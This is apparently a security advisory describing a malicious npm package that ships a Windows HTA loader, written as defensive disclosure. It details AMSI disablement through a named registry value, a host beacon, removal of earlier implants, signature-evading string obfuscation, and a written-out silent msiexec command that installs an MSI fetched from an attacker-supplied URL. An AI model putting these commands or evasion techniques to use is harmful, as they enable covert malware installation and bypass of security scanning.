MAL-2026-16419 Malicious code in @gsutevil/hta-stage (npm)

The package ships a Windows HTA/WSH loader that installs a remote MSI on the victim host under the control of a base URL supplied at runtime via window.__gsutBases. On execution it (1) disables Anti-Malware Scan Interface for Windows Script Host by writing HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable = 0 through both WScript.Shell.RegWrite and WMI StdRegProv.SetDWORDValue, with the value name reconstructed from a split array to evade static detection; (2) reads %COMPUTERNAME% and %USERNAME% via WScript.Shell.ExpandEnvironmentStrings and POSTs them together with phase/exit codes to <base>/v1/hta/event; (3) taskkills python.exe, pythonw.exe, core.exe, guest.exe and enumerates HKLM/HKCU Uninstall keys via WMI to silently msiexec-uninstall any product whose DisplayName equals "GSUT Guest" — prior-agent cleanup rather than a benign uninstall; (4) requests a token from <base>/v1/hta/msi-token and invokes msiexec /i "<base>/guest.msi?t=<tok>" /qn /norestart REBOOT=ReallySuppress via WScript.Shell.Run, with fallbacks through Shell.Application.ShellExecute and wmic process call create. Every sensitive identifier — ActiveXObject, WScript.Shell, Shell.Application, WbemScripting.SWbemLocator, StdRegProv, AmsiEnable, EtwEventWriteEx, GetProcAddress, GetModuleHandleA, VirtualProtect, MSXML2.ServerXMLHTTP, msiexec, wmic, and the Function constructor used to parse the token response — is reconstructed at runtime from character-array joins or string concatenation to evade signature scanning. The combined behavior (AMSI disablement, host-identity beacon, prior-implant cleanup, silent installation of a remotely fetched MSI from an attacker-supplied base URL, uniform identifier obfuscation) is the fingerprint of an HTA-stage malware loader.